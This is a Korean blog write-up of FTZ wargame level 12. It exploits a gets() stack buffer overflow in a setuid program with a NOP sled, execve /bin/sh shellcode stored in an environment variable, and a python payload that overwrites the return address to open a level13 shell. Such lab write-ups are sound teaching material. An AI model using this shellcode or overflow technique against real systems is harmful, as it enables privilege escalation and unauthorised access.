FTZ level12
-hint
1 2 3 4 5 6 7 8 9 10 11 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main( void ){ char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } | cs |
gets는 입력받는 문자열의 길이를 제한하지 못해 선언된 버퍼보다 많은값을 입력받으면
버퍼 오버플로우가 발생하게 된다
level 11과는 다르게 프로그램 안에서 입력을 받고있다.
gdb 로 disass main명령어를 실행하면
main+3을 보면 스택에 0x108(264)의 공간을 만든다
이 공간은 str[256]+dummy이므로 dummy의 크기는 8byte이라는 것을알수있다
| str[256] | dummy[8] | sfp[4] | ret[4] |
먼저 환경변수 shellcode에 25바이트 쉘코드를 입력
export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
환경변수 shellcode의 주소를 찾는다
(소스는 level11 참조)
./get shellcode
The address of shellcode is 0xbffffec5
이제 공격 코드를 짜면되는데, 파이프 명령어를 이용한다
(python -c 'print "A"*268 + "\xc5\xfe\xff\xbf"' ;cat) | ./attackme
(shellcode의 주소)
위와 같은 방법으로 스크립트 전체를 괄호로 묶고 cat 으로 나온 출력을 attackme 의 입력으로 돌려주면 된다.
uid=3093(level13) gid=3092(level12) groups=3092(level12)
쉘을 얻었다. my-pass를 실행하면
level13 Password
'System > FTZ' 카테고리의 다른 글
FTZ level14 (0) | 2015.03.17 |
---|---|
FTZ level13 (0) | 2015.03.17 |
FTZ level11 (0) | 2015.03.17 |
FTZ level10 (0) | 2015.03.17 |
FTZ level9 (0) | 2015.03.17 |